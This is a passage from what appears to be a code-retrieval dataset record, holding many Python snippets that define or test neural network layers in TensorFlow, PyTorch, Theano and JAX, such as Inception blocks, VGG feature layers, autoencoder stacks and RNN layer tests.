NW.conv(icp7_pool, 1, 1, 128, 1, 1, name='icp7_out3')\n # concat\n icp7_out = NW.concat([icp7_out0,\n icp7_out1,\n icp7_out2,\n icp7_out3], 3, name='icp7_out')\n\n \"\"\" 8st inception layer group \"\"\"\n print(\"icp8\")\n with tf.name_scope('icp8'):\n icp8_in = NW.max_pool(icp7_out, 3, 3, 2, 2, name='icp8_in')\n # branch 0\n icp8_out0 = NW.conv(icp8_in, 1, 1, 256, 1, 1, name='icp8_out0')\n # branch 1\n icp8_reduction1 = NW.conv(icp8_in, 1, 1, 160, 1, 1, name='icp8_reduction1')\n icp8_out1 = NW.conv(icp8_reduction1, 3, 3, 320, 1, 1, name='icp8_out1')\n # branch 2\n icp8_reduction2 = NW.conv(icp8_in, 1, 1, 32, 1, 1, name='icp8_reduction2')\n icp8_out2 = NW.conv(icp8_reduction2, 5, 5, 128, 1, 1, name='icp8_out2')\n # branch 3\n icp8_pool = NW.max_pool(icp8_in, 3, 3, 1, 1, name='icp8_pool')\n icp8_out3 = NW.conv(icp8_pool, 1, 1, 128, 1, 1, name='icp8_out3')\n # concat\n icp8_out = NW.concat([icp8_out0,\n icp8_out1,\n icp8_out2,\n icp8_out3], 3, name='icp8_out')\n \n \"\"\" 9st inception layer group \"\"\"\n print(\"icp9\")\n with tf.name_scope('icp9'):\n # branch 0\n icp9_out0 = NW.conv(icp8_out, 1, 1, 384, 1, 1, name='icp9_out0')\n # branch 1\n icp9_reduction1 = NW.conv(icp8_out, 1, 1, 192, 1, 1, name='icp9_reduction1')\n icp9_out1 = NW.conv(icp9_reduction1, 3, 3, 384, 1, 1, name='icp9_out1')\n # branch 2\n icp9_reduction2 = NW.conv(icp8_out, 1, 1, 48, 1, 1, name='icp9_reduction2')\n icp9_out2 = NW.conv(icp9_reduction2, 5, 5, 128, 1, 1, name='icp9_out2')\n # branch 3\n icp9_pool = NW.max_pool(icp8_out, 3, 3, 1, 1, name='icp9_pool')\n icp9_out3 = NW.conv(icp9_pool, 1, 1, 128, 1, 1, name='icp9_out3')\n # concat\n icp9_out = NW.concat([icp9_out0,\n icp9_out1,\n icp9_out2,\n icp9_out3], 3, name='icp9_out')\n\n \"\"\" 3rd classify branch \"\"\"\n with tf.name_scope('cls3'):\n cls3_pool = NW.avg_pool(icp9_out, 7, 7, 1, 1, padding='VALID', name='cls3_pool')\n cls3_fc1_pose = NW.fc(cls3_pool, 2048, name='cls3_fc1_pose')\n cls3_fc_pose_xy = NW.fc(cls3_fc1_pose, 2, relu=False, name='cls3_fc_pose_xy')\n cls3_fc_pose_ab = NW.fc(cls3_fc1_pose, 2, relu=False, name='cls3_fc_pose_ab')\n self.layers[\"cls3_fc_pose_xy\"] = cls3_fc_pose_xy\n self.layers[\"cls3_fc_pose_ab\"] = cls3_fc_pose_ab","def __init__(self, output_layer_idx=23, min_val=-1.0, max_val=1.0):\n sequence = OrderedDict({\n 'layer0': nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1),\n 'layer1': nn.ReLU(inplace=True),\n 'layer2': nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1),\n 'layer3': nn.ReLU(inplace=True),\n 'layer4': nn.MaxPool2d(kernel_size=2, stride=2),\n 'layer5': nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1),\n 'layer6': nn.ReLU(inplace=True),\n 'layer7': nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1),\n 'layer8': nn.ReLU(inplace=True),\n 'layer9': nn.MaxPool2d(kernel_size=2, stride=2),\n 'layer10': nn.Conv2d(128, 256, kernel_size=3, stride=1, padding=1),\n 'layer11': nn.ReLU(inplace=True),\n 'layer12': nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1),\n 'layer13': nn.ReLU(inplace=True),\n 'layer14': nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1),\n 'layer15': nn.ReLU(inplace=True),\n 'layer16': nn.MaxPool2d(kernel_size=2, stride=2),\n 'layer17': nn.Conv2d(256, 512, kernel_size=3, stride=1, padding=1),\n 'layer18': nn.ReLU(inplace=True),\n 'layer19': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\n 'layer20': nn.ReLU(inplace=True),\n 'layer21': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\n 'layer22': nn.ReLU(inplace=True),\n 'layer23': nn.MaxPool2d(kernel_size=2, stride=2),\n 'layer24': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\n 'layer25': nn.ReLU(inplace=True),\n 'layer26': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\n 'layer27': nn.ReLU(inplace=True),\n 'layer28': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\n 'layer29': nn.ReLU(inplace=True),\n 'layer30': nn.MaxPool2d(kernel_size=2, stride=2),\n })\n self.output_layer_idx = output_layer_idx\n self.min_val = min_val\n self.max_val = max_val\n self.mean = torch.from_numpy(np.array(_MEAN_STATS)).view(1, 3, 1, 1)\n self.mean = self.mean.type(torch.FloatTensor)\n super().__init__(sequence)","def __init__(self,n_layers=5,nodes=[4,5,4,5,2]):\n self.node_list=[]\n self.l=n_layers\n self.node_list=nodes\n self.batch_size=1\n self.W=[]\n self.ZL=[] #output of each layer\n self.OL=[]\n for i in range(len(self.node_list)-1):\n w_temp=np.random.random((self.node_list[i],self.node_list[i+1],2))\n self.W.append(w_temp)\n #print(self.W) \n \n \n\n #print(\"mdo\",self.ZL)","def SRCNNv2(input_shape, depth_multiplier=1, multi_output=False):\n inputs = Input(input_shape, name=\"inputs\")\n conv1 = Convolution2D(filters=64, kernel_size=9, padding=\"same\", name=\"conv1\", activation=\"relu\")(inputs)\n conv2 = Convolution2D(filters=64, kernel_size=7, padding=\"same\", name=\"conv2\", activation=\"relu\")(conv1)\n #conv3 = Convolution2D(filters=64, kernel_size=3, padding=\"same\", name=\"conv3\", activation=\"relu\")(conv2)\n\n mapping = Convolution2D(filters=32, kernel_size=5, padding=\"same\", name=\"mapping\", activation=\"relu\")(conv2)\n #mapping2 = Convolution2D(filters=16, kernel_size=7, padding=\"same\", name=\"mapping2\", activation=\"relu\")(mapping)\n \n \n if multi_output:\n out = Convolution2D(filters=2, kernel_size=5, padding=\"same\", name=\"output\", activation=\"sigmoid\")(mapping)\n else:\n out = Convolution2D(filters=1, kernel_size=5, padding=\"same\", name=\"output\", activation=\"sigmoid\")(mapping)\n return Model(inputs, out)","def encoder_net_func(num_layer, net_type='cnn'):\n ec_funct = []\n for i in range(num_layer):\n ec_funct.append(net_type)\n ec_funct.append('mlp')\n\n dc_funct = copy.deepcopy(ec_funct)\n dc_funct.reverse()\n\n return ec_funct, dc_funct","def _statistics_network(self, inputs, reuse=False):\n # Hidden layers.\n last_layer = inputs\n t_hidden = []\n for i in range(self.num_layers-1):\n with tf.variable_scope('hidden_%d' % (i), reuse=reuse):\n hidden = layers.fully_connected(last_layer, \n self._layer_sizes[i], activation_fn=tf.nn.elu)\n t_hidden.append(hidden)\n last_layer = hidden\n\n # Output layer.\n with tf.variable_scope(\"output\", reuse=reuse):\n t_outputs = layers.fully_connected(last_layer, 1,\n activation_fn=None)\n\n return [t_hidden, t_outputs]","def __init__(\n self,\n numpy_rng,\n train_set_x,\n train_set_y,\n hidden_layers_sizes,\n n_ins=784,\n n_outs=10\n ):\n\n self.sigmoid_layers = []\n self.AE_layers = []\n self.params = []\n self.n_layers = len(hidden_layers_sizes)\n self.train_set_x = train_set_x\n self.train_set_y = train_set_y\n\n assert self.n_layers > 0\n\n self.x = T.matrix('x') # the data is presented as rasterized images\n self.y = T.ivector('y') # the labels are presented as 1D vector of\n\n for i in xrange(self.n_layers): # used to be n layers\n\n # construct the sigmoid layer = encoder stack\n if i == 0:\n layer_input = self.x\n else:\n layer_input = self.sigmoid_layers[-1].output\n\n sigmoid_layer = HiddenLayer(rng=numpy_rng,\n input=layer_input,\n n_in=(n_ins if i == 0 else\n hidden_layers_sizes[i-1]),\n n_out=hidden_layers_sizes[i],\n activation=T.nnet.sigmoid)\n\n # add the layer to our list of layers\n self.sigmoid_layers.append(sigmoid_layer)\n self.params.extend(sigmoid_layer.params)\n\n # init the DA_layer, takes weights from sigmoid layer\n AE_layer = AutoEncoder(\n numpy_rng=numpy_rng,\n input=layer_input,\n n_visible=(n_ins if i == 0 else hidden_layers_sizes[i-1]),\n n_hidden=hidden_layers_sizes[i],\n W=sigmoid_layer.W,\n bhid=sigmoid_layer.b)\n\n self.AE_layers.append(AE_layer)\n\n # on top of the layers\n # log layer for fine-tuning\n self.logLayer = LogisticRegression(\n input=self.sigmoid_layers[-1].output,\n n_in=hidden_layers_sizes[-1],\n n_out=n_outs\n )\n self.params.extend(self.logLayer.params)\n self.finetune_cost = self.logLayer.negative_log_likelihood(self.y)\n self.errors = self.logLayer.errors(self.y)","def group_layers(inputs, outputs, biases, connections, nodes):\n layers = []\n s = set(inputs + biases)\n while True:\n # Find candidate nodes c for the next layer. These nodes should connect\n # a node in s to a node not in s.\n c = set(b for (a, b) in connections if (a in s) and (b not in s))\n # Keep only the used nodes whose entire input set is contained in s.\n t = set()\n for n in c:\n if all(a in s for (a, b) in connections if b == n):\n t.add(n)\n\n if not t:\n break\n\n layers.append(t)\n s = s.union(t)\n\n return layers","def layer_compare(accuracy_layer_numbers):\n width = np.linspace(3, 12, 10, dtype=int)\n layer = np.linspace(1, 9, 9, dtype=int)\n accurs = np.ones([10, 9], dtype=float)\n\n for m in range(10):\n for n in range(9):\n accurs[m][n] = accuracy_layer_numbers[(width[m], layer[n])]\n\n linecolor = ['gold', 'red', 'green', 'springgreen', 'black', 'blue', 'cyan', 'blueviolet', 'magenta', 'navy']\n\n layer_show_3D(layer, width, accurs,\n title='不同数目卷积层和卷积核宽度的分类准确率',\n path='E:/JackokiePapers/figures/chapter_5/fig_5_1.png')\n\n layer_hot_map(layer, width, accurs,\n colormap=cm.rainbow,\n path='E:/JackokiePapers/figures/chapter_5/fig_5_2.png')\n\n layer_show_2D(layer, width, accurs, [0, 72],\n linecolor=linecolor,\n mean_show=True,\n path='E:/JackokiePapers/figures/chapter_5/fig_5_4.png')"],"string":"[\n \"def run(layers):\",\n \"def neural_net(self, layers):\\n model = nn.Sequential()\\n for l in range(0, len(layers) - 1):\\n model.add_module(\\\"layer_\\\"+str(l), nn.Linear(layers[l],layers[l+1], bias=True))\\n if l != len(layers) - 2:\\n model.add_module(\\\"tanh_\\\"+str(l), nn.Tanh())\\n\\n return model\",\n \"def process_layer(layer_def, inputs):\\n\\n outputs = []\\n for n in layer_def['neurons']:\\n n_res = n.activate(inputs)\\n\\n outputs.append(n_res)\\n\\n return outputs\",\n \"def connect_layers(self):\\n if not self.check():\\n msg = \\\"Failed to check neural network.\\\"\\n print(msg)\\n logging.error(msg)\\n return\\n\\n # 1. set input layer\\n pre_layer = self.input_layer\\n for layer in self.hidden_layers:\\n layer.set_input_layer(pre_layer)\\n pre_layer = layer\\n self.output_layer.set_input_layer(pre_layer)\\n\\n # 2. set output layer\\n next_layer = self.output_layer\\n for layer in reversed(self.hidden_layers):\\n layer.set_next_layer(next_layer)\\n next_layer = layer\\n self.input_layer.set_next_layer(next_layer)\\n\\n # 3. call layer init\\n self.input_layer.init()\\n for layer in self.hidden_layers:\\n layer.init()\\n self.output_layer.init()\\n\\n return\",\n \"def layers(self, layers):\\n self._layers = layers\\n prev = None\\n for layer in layers:\\n if not layer.inputs and prev is not None:\\n layer.inputs = [prev]\\n prev = layer\",\n \"def create_network(layers):\\r\\n return NeuronNetwork(layers)\",\n \"def layers(self, layers):\\n self._layers = layers\\n self.thetas = []\\n prev = None\\n for layer in layers:\\n if not layer.inputs and prev is not None:\\n layer.inputs = [prev]\\n prev = layer\\n self.thetas.extend(layer.thetas())\",\n \"def num_layers(self): # -> int:\\n ...\",\n \"def add_layers(self, layers):\\n\\n existing_layers = self.layers\\n assert len(existing_layers) > 0\\n for layer in layers:\\n assert layer.get_mlp() is None\\n layer.set_mlp(self)\\n layer.set_input_space(existing_layers[-1].get_output_space())\\n existing_layers.append(layer)\\n assert layer.layer_name not in self.layer_names\\n self.layer_names.add(layer.layer_name)\",\n \"def print_layers(network, y_in):\\r\\n layer_features=get_layer_activations(network,y_in)\\r\\n for idx,feature in enumerate(layer_features):\\r\\n s=np.shape(feature)\\r\\n print(\\\"Layer \\\"+str(idx)+\\\": \\\"+str(s[1]*s[2]*s[3])+\\\" neurons / \\\", s)\",\n \"def __init__(self, layers):\\n\\n\\t\\tself.layers = layers\",\n \"def bnn_serial(*layers):\\n nlayers = len(layers)\\n init_funs, apply_funs = zip(*layers)\\n\\n def init_fun(rng, input_shape):\\n params = []\\n for init_fun in init_funs:\\n rng, layer_rng = jax.random.split(rng)\\n input_shape, param = init_fun(layer_rng, input_shape)\\n params.append(param)\\n return input_shape, params\\n\\n def apply_fun(params, inputs, **kwargs):\\n rng = kwargs.pop('rng', None)\\n rngs = jax.random.split(rng, nlayers) if rng is not None else (None,) * nlayers\\n total_kl = 0\\n infodict = {}\\n for fun, param, rng in zip(apply_funs, params, rngs):\\n output = fun(param, inputs, rng=rng, **kwargs)\\n if len(output) == 2:\\n inputs, layer_kl = output\\n elif len(output) == 3:\\n inputs, layer_kl, info = output\\n infodict.update(info)\\n else:\\n raise RuntimeError(f\\\"Expected 2 or 3 outputs but got {len(output)}.\\\")\\n total_kl = total_kl + layer_kl\\n return inputs, total_kl, infodict\\n\\n return Layer(init_fun, apply_fun)\",\n \"def __init__(self,\\n neurons_list: list,\\n hidden_activation: str = None,\\n out_activation: str = None,\\n error_func: str = None):\\n self.__layers = []\\n for i in range(1, len(neurons_list)):\\n prev_layer = neurons_list[i - 1]\\n cur_layer = neurons_list[i]\\n\\n out_activ = lin\\n out_activ_deriv = lin_deriv\\n\\n if out_activation == \\\"sigmoid\\\":\\n out_activ = sigmoid\\n out_activ_deriv = sigmoid_deriv\\n elif out_activation == \\\"relu\\\":\\n out_activ = relu\\n out_activ_deriv = relu_deriv\\n elif out_activation == \\\"l_relu\\\":\\n out_activ = l_relu\\n out_activ_deriv = l_relu_deriv\\n\\n hidden_activ = lin\\n hidden_activ_deriv = lin_deriv\\n\\n if hidden_activation == \\\"sigmoid\\\":\\n hidden_activ = sigmoid\\n hidden_activ_deriv = sigmoid_deriv\\n elif hidden_activation == \\\"relu\\\":\\n hidden_activ = relu\\n hidden_activ_deriv = relu_deriv\\n elif hidden_activation == \\\"l_relu\\\":\\n hidden_activ = l_relu\\n hidden_activ_deriv = l_relu_deriv\\n\\n if i == len(neurons_list) - 1:\\n layer = NeuralNetLayer(cur_layer, prev_layer, out_activ, out_activ_deriv)\\n else:\\n layer = NeuralNetLayer(cur_layer, prev_layer, hidden_activ, hidden_activ_deriv)\\n self.__layers.append(layer)\\n\\n error_func_f = squared_error\\n error_deriv = squared_error_der\\n\\n if error_func == \\\"mse\\\":\\n error_func_f = squared_error\\n error_deriv = squared_error_der\\n elif error_func == \\\"kl\\\":\\n error_func_f = kl_divergence\\n error_deriv = kl_divergence_der\\n\\n self.__error_func = error_func_f\\n self.__error_deriv = error_deriv\",\n \"def __init__(self, layerNeurons, numberOfLayers, initialWeights = None, lowerBound = None, upperBound = None):\\r\\n \\r\\n # Ensure that there is at-least one input and one output layer in the network\\r\\n assert len(layerNeurons) > 1, \\\"At least one input layer and one output layer is needed\\\"\\r\\n \\r\\n # Get the total number of weights needed in the network\\r\\n totalWeightCount = NeuralNetwork.getSizeOfWeightVector(layerNeurons)*numberOfLayers\\r\\n \\r\\n # Initialise the weights with the initialiser or random values\\r\\n if initialWeights is None:\\r\\n if lowerBound is None:\\r\\n lowerBound=-1/np.sqrt(layerNeurons[0])\\r\\n if upperBound is None:\\r\\n upperBound=1/np.sqrt(layerNeurons[0])\\r\\n self.weights = np.random.uniform(lowerBound, upperBound, totalWeightCount)\\r\\n else:\\r\\n assert initialWeights.size == totalWeightCount, (\\\"Length of initial weight matrix incorrect. You need \\\"+str(totalWeightCount)+\\\" weights\\\")\\r\\n self.weights = initialWeights.view()\\r\\n \\r\\n self.weights.shape = (numberOfLayers, -1)\\r\\n # create an empty array of layers\\r\\n self.layers = []\\r\\n layerBlockStart = 0\\r\\n \\r\\n for layerInputDimention, layerOutputDimention in zip(layerNeurons, layerNeurons[1:]):\\r\\n # initialise each layer with its input and output dimentions and bi-directional pointers to the relivant weights\\r\\n layerBlockEnd = layerBlockStart+(layerInputDimention*layerOutputDimention)\\r\\n layerBiasEnd = layerBlockEnd+layerOutputDimention\\r\\n newLayer = batchNetworkLayer(layerInputDimention, layerOutputDimention, numberOfLayers, \\r\\n self.weights[..., :, layerBlockStart:layerBlockEnd], \\r\\n self.weights[..., :, layerBlockEnd:layerBiasEnd])\\r\\n self.layers.append(newLayer)\\r\\n \\r\\n layerBlockStart = layerBiasEnd\",\n \"def layers(self): # -> LayerView:\\n ...\",\n \"def __init__(self, layerNeurons, initialWeights = None, layerTypes=None, **kwargs):\\r\\n \\r\\n # Ensure that there is at-least one input and one output layer in the network\\r\\n assert len(layerNeurons)>1, \\\"At least one input layer and one output layer is needed\\\"\\r\\n \\r\\n # Get the total number of weights needed in the network\\r\\n totalWeightCount = NeuralNetwork.getSizeOfWeightVector(layerNeurons)\\r\\n \\r\\n # Initialise the weights with the initializer or random values\\r\\n if initialWeights is None:\\r\\n self.weights = np.random.uniform(-1/np.sqrt(layerNeurons[0]), 1/np.sqrt(layerNeurons[0]), totalWeightCount)\\r\\n else:\\r\\n assert len(initialWeights) == totalWeightCount, (\\\"Length of initial weight matrix incorrect. You need \\\"+str(totalWeightCount)+\\\" weights\\\")\\r\\n self.weights = np.array(initialWeights, dtype = np.float64) \\r\\n \\r\\n # create an empty array of layers\\r\\n self.layers = []\\r\\n layerBlockStart = 0\\r\\n \\r\\n if layerTypes is None or len(layerTypes)<(len(layerNeurons)-1):\\r\\n layerTypes=[NetworkLayer]*(len(layerNeurons)-1)\\r\\n \\r\\n for layerInputDimention, layerOutputDimention, layerType in zip(layerNeurons, layerNeurons[1:], layerTypes):\\r\\n # initialise each layer with its input and output dimentions and bi-directional pointers to the relivant weights\\r\\n layerBlockEnd = layerBlockStart+(layerInputDimention*layerOutputDimention)\\r\\n layerBiasEnd = layerBlockEnd+layerOutputDimention\\r\\n newLayer = layerType(layerInputDimention, layerOutputDimention, \\r\\n self.weights[..., layerBlockStart:layerBlockEnd], \\r\\n self.weights[..., layerBlockEnd:layerBiasEnd], **kwargs)\\r\\n self.layers.append(newLayer)\\r\\n \\r\\n layerBlockStart = layerBiasEnd\\r\\n \\r\\n # Tell the output later to use a different function to calculate the delta \\r\\n newLayer.calcDelta = newLayer.calcDeltaOutputLayer\",\n \"def multilayer(self, n_layers):\\n for i in range(1, n_layers+1):\\n print(\\\"Layer nr: \\\", i)\\n # For the first layer, take the input image\\n if i == 1:\\n # Convolution\\n self.convolution(i, self.img)\\n # Use the output of the convolution as input of the pooling layer\\n img = Image.open(str(\\\"conv\\\" + str(i) + \\\".png\\\"))\\n # Pooling\\n self.pool(img.convert('RGB'), i)\\n else:\\n # Use the output of the pooling as input of the convolution layer\\n img = Image.open(str(\\\"conv_pool\\\" + str(i-1) + \\\".png\\\"))\\n # Convolution\\n self.convolution(i, img.convert(\\\"RGB\\\"))\\n # Use the output of the convolution as input of the pooling layer\\n img = Image.open(str(\\\"conv\\\"+ str(i) + \\\".png\\\"))\\n # Pooling\\n self.pool(img.convert('RGB'), i)\",\n \"def test_output_layers_created_correctly():\\n layers = [[\\\"gru\\\", 25], [\\\"lstm\\\", 23], [\\\"linear\\\", 5], [\\\"linear\\\", 10]]\\n\\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\\\"relu\\\", output_activation=\\\"relu\\\")\\n\\n assert rnn.output_layers[0].in_features == 5\\n assert rnn.output_layers[0].out_features == 10\\n\\n layers = [[\\\"gru\\\", 25], [\\\"lstm\\\", 23], [\\\"lstm\\\", 10]]\\n\\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\\\"relu\\\",\\n output_activation=\\\"relu\\\")\\n\\n assert rnn.output_layers[0].input_size == 23\\n assert rnn.output_layers[0].hidden_size == 10\\n\\n layers = [[\\\"gru\\\", 25], [\\\"lstm\\\", 23], [[\\\"lstm\\\", 10], [\\\"linear\\\", 15]]]\\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\\\"relu\\\",\\n output_activation=[\\\"relu\\\", \\\"softmax\\\"])\\n\\n assert rnn.output_layers[0].input_size == 23\\n assert rnn.output_layers[0].hidden_size == 10\\n\\n assert rnn.output_layers[1].in_features == 23\\n assert rnn.output_layers[1].out_features == 15\",\n \"def layers(self, x):\\n raise NotImplementedError\",\n \"def build_neuron_network(nb_features_map: Union[Sequence[int], None] = None,\\n size_linear_layers: Union[Sequence[int], None] = None,\\n dropout_rate: Union[Tuple[float, float], float] = 0.3,\\n conv_kernel_size: Union[Sequence[int], int] = 3,\\n conv_stride: int = 1,\\n conv_padding: int = 1,\\n conv_activation: str = \\\"relu\\\",\\n conv_architecture: str = \\\"CPD\\\",\\n pool_kernel_size: int = 2,\\n pool_stride: int = 2,\\n dense_activation: str = \\\"relu\\\",\\n pretrained: Union[str, None] = None,\\n grayscale: bool = True,\\n optimizer: str = \\\"Adam\\\",\\n weight_decay: float = 0.,\\n learning_rate: float = 0.001,\\n ) -> Tuple[nn.Module, List, torch.optim.Optimizer]:\\n # Initializations\\n if pretrained is not None:\\n grayscale = False\\n if grayscale:\\n channels = 1\\n else:\\n channels = 3\\n if nb_features_map is None:\\n nb_features_map = [8]\\n if size_linear_layers is None:\\n size_linear_layers = []\\n height = 224\\n width = 224\\n module = nn.Module()\\n shapes = [(\\\"input\\\", channels, height, width)]\\n layers = {\\\"extractor\\\": [], \\\"regressor\\\": []}\\n if not hasattr(dropout_rate, \\\"__len__\\\"):\\n dropout_rate = (dropout_rate, 0.)\\n next_dropout_rate = dropout_rate[0]\\n # If a pretrained model is used:\\n if pretrained is None:\\n # Input checks\\n if hasattr(conv_kernel_size, \\\"__len__\\\"):\\n if len(conv_kernel_size) != len(nb_features_map):\\n raise ValueError(\\\"The length of nb_features_map shall match the length of conv_kernel_size\\\")\\n else:\\n conv_kernel_size = [conv_kernel_size] * len(nb_features_map)\\n # Feature extractor\\n next_layer_type = itertools.cycle(conv_architecture)\\n nb_feature_map = None\\n i = 0\\n while True:\\n layer_type = next(next_layer_type)\\n if layer_type == \\\"C\\\":\\n # Convolutional layer\\n try:\\n nb_feature_map = nb_features_map[i]\\n except IndexError:\\n break\\n name = \\\"conv2d-{:02d}\\\".format(i+1)\\n conv = nn.Conv2d(shapes[-1][1], nb_feature_map, conv_kernel_size[i], stride=conv_stride,\\n padding=conv_padding)\\n layers[\\\"extractor\\\"].append((name, conv))\\n h, w = output_shape_conv_and_pool_layer(rows=shapes[-1][2], columns=shapes[-1][3],\\n kernel=conv_kernel_size[i], stride=conv_stride,\\n padding=conv_padding)\\n shapes.append((name, nb_feature_map, h, w))\\n i += 1\\n # Activation\\n if conv_activation == \\\"relu\\\":\\n activ = nn.ReLU()\\n elif conv_activation == \\\"elu\\\":\\n activ = nn.ELU(alpha=0.1)\\n elif conv_activation == \\\"leaky\\\":\\n activ = nn.LeakyReLU()\\n else:\\n activ = nn.ReLU()\\n name = \\\"{}-{:02d}\\\".format(conv_activation, i)\\n layers[\\\"extractor\\\"].append((name, activ))\\n # activation does not change the size\\n shapes.append((name, shapes[-1][1], shapes[-1][2], shapes[-1][3]))\\n elif layer_type == \\\"P\\\":\\n # Max-pooling\\n name = \\\"maxpool2d-{:02d}\\\".format(i)\\n pool = nn.MaxPool2d(pool_kernel_size, pool_stride)\\n layers[\\\"extractor\\\"].append((name, pool))\\n h, w = output_shape_conv_and_pool_layer(rows=shapes[-1][2], columns=shapes[-1][3],\\n kernel=pool_kernel_size, stride=pool_stride)\\n shapes.append((name, nb_feature_map, h, w))\\n elif layer_type == \\\"D\\\":\\n # Dropout\\n if next_dropout_rate > 0.:\\n name = \\\"dropout-{:02d}\\\".format(i)\\n dropout = nn.Dropout(p=next_dropout_rate)\\n layers[\\\"extractor\\\"].append((name, dropout))\\n # Dropout does not change the size\\n shapes.append((name, shapes[-1][1], shapes[-1][2], shapes[-1][3]))\\n next_dropout_rate += dropout_rate[1]\\n elif layer_type == \\\"B\\\":\\n # Batch normalization\\n name = \\\"batchnorm-{:02d}\\\".format(i)\\n batch = nn.BatchNorm2d(shapes[-1][1])\\n layers[\\\"extractor\\\"].append((name, batch))\\n # Batch norm. does not change the size\\n shapes.append((name, shapes[-1][1], shapes[-1][2], shapes[-1][3]))\\n # Add a flatten layer\\n name = \\\"flatten\\\"\\n flatten = nn.Flatten(1)\\n layers[\\\"extractor\\\"].append((name, flatten))\\n shapes.append((name, shapes[-1][1] * shapes[-1][2] * shapes[-1][3]))\\n # Create extractor module\\n extractor = nn.Sequential(OrderedDict(layers[\\\"extractor\\\"]))\\n module.add_module(\\\"extractor\\\", extractor)\\n elif pretrained == \\\"VGG16\\\":\\n pre_trained = models.vgg16(pretrained=True)\\n modules = []\\n for _name, _module in pre_trained.named_children():\\n if _name != 'classifier':\\n modules.append((_name, _module))\\n modules.append((\\\"flatten\\\", nn.Flatten(1)))\\n vgg16 = nn.Sequential(OrderedDict(modules))\\n # Freeze all parameters in the pre-trained model\\n # So we prevent gradients from being calculated, it will save computation time\\n for param in vgg16.parameters():\\n param.requires_grad = False\\n module.add_module('extractor', vgg16)\\n shapes.append((pretrained, 25088))\\n else:\\n raise ValueError(f\\\"Unknown pre-trained model '{pretrained}'.\\\")\\n # Regressor\\n for i, size_linear_layer in enumerate(size_linear_layers):\\n # Add a linear layer\\n name = \\\"linear-{:02d}\\\".format(i + 1)\\n linear = nn.Linear(shapes[-1][1], size_linear_layer)\\n layers[\\\"regressor\\\"].append((name, linear))\\n shapes.append((name, size_linear_layer))\\n # Activation\\n if dense_activation == \\\"relu\\\":\\n activ = nn.ReLU()\\n elif dense_activation == \\\"elu\\\":\\n activ = nn.ELU(alpha=0.1)\\n elif dense_activation == \\\"leaky\\\":\\n activ = nn.LeakyReLU()\\n else:\\n activ = nn.ReLU()\\n name = \\\"{}-{:02d}\\\".format(dense_activation, i + 1)\\n layers[\\\"regressor\\\"].append((name, activ))\\n shapes.append((name, shapes[-1][1])) # activation does not change the size\\n # Dropout\\n if next_dropout_rate > 0.:\\n name = \\\"dropout-{:02d}\\\".format(i + 1)\\n dropout = nn.Dropout(p=next_dropout_rate)\\n layers[\\\"regressor\\\"].append((name, dropout))\\n shapes.append((name, shapes[-1][1])) # Dropout does not change the size of array\\n next_dropout_rate += dropout_rate[1]\\n # Add the final layer, the output size is fixed to 68 x 2 = 136\\n name = \\\"output\\\"\\n linear = nn.Linear(shapes[-1][1], 136)\\n layers[\\\"regressor\\\"].append((name, linear))\\n shapes.append((name, 136))\\n # Create regressor module\\n regressor = nn.Sequential(OrderedDict(layers[\\\"regressor\\\"]))\\n module.add_module(\\\"regressor\\\", regressor)\\n # Weight initialization\\n module.apply(weight_initialization)\\n # Optimizer\\n if optimizer == \\\"Adam\\\":\\n optim = torch.optim.Adam(module.parameters(), lr=learning_rate, weight_decay=weight_decay)\\n elif optimizer == \\\"AdamW\\\":\\n optim = torch.optim.AdamW(module.parameters(), lr=learning_rate, weight_decay=weight_decay)\\n elif optimizer == \\\"SGD\\\":\\n optim = torch.optim.SGD(module.parameters(), lr=learning_rate, weight_decay=weight_decay, momentum=0.9)\\n else:\\n raise ValueError(f\\\"Unknown optimizer {optimizer}.\\\")\\n return module, shapes, optim\",\n \"def neural_network(z, dim_out):\\n hidden_dim = 15\\n net1 = slim.fully_connected(z, hidden_dim, activation_fn=None)\\n net2 = slim.fully_connected(net1, dim_out, activation_fn=tf.tanh)\\n return net2\",\n \"def test_output_head_layers():\\n for output_dim in [[[\\\"linear\\\", 3],[\\\"linear\\\", 9]], [[\\\"linear\\\", 4], [\\\"linear\\\", 20]], [[\\\"linear\\\", 1], [\\\"linear\\\", 1]]]:\\n nn_instance = RNN(input_dim=5, layers_info=[[\\\"gru\\\", 20], [\\\"lstm\\\", 8], output_dim],\\n hidden_activations=\\\"relu\\\", output_activation=[\\\"softmax\\\", None])\\n assert nn_instance.output_layers[0].out_features == output_dim[0][1]\\n assert nn_instance.output_layers[0].in_features == 8\\n assert nn_instance.output_layers[1].out_features == output_dim[1][1]\\n assert nn_instance.output_layers[1].in_features == 8\",\n \"def _init_layers(self) -> None:\\n weight_nums, bias_nums = [], []\\n for i in range(self.num_layers):\\n if i == 0:\\n weight_nums.append((self.in_channels + 2) * self.feat_channels)\\n bias_nums.append(self.feat_channels)\\n elif i == self.num_layers - 1:\\n weight_nums.append(self.feat_channels * 1)\\n bias_nums.append(1)\\n else:\\n weight_nums.append(self.feat_channels * self.feat_channels)\\n bias_nums.append(self.feat_channels)\\n\\n self.weight_nums = weight_nums\\n self.bias_nums = bias_nums\\n self.num_params = sum(weight_nums) + sum(bias_nums)\",\n \"def layers(self, layers):\\n\\n self._layers = layers\",\n \"def build_layers(self):\\n raise NotImplementedError\",\n \"def check_RNN_layers_valid(self):\\n error_msg_layer_type = \\\"First element in a layer specification must be one of {}\\\".format(self.valid_RNN_hidden_layer_types)\\n error_msg_layer_form = \\\"Layer must be of form [layer_name, hidden_units]\\\"\\n error_msg_layer_list = \\\"Layers must be provided as a list\\\"\\n error_msg_output_heads = \\\"Number of output activations must equal number of output heads\\\"\\n\\n assert isinstance(self.layers_info, list), error_msg_layer_list\\n\\n all_layers = self.layers_info[:-1]\\n output_layer = self.layers_info[-1]\\n assert isinstance(output_layer, list), error_msg_layer_list\\n if isinstance(output_layer[0], list):\\n assert 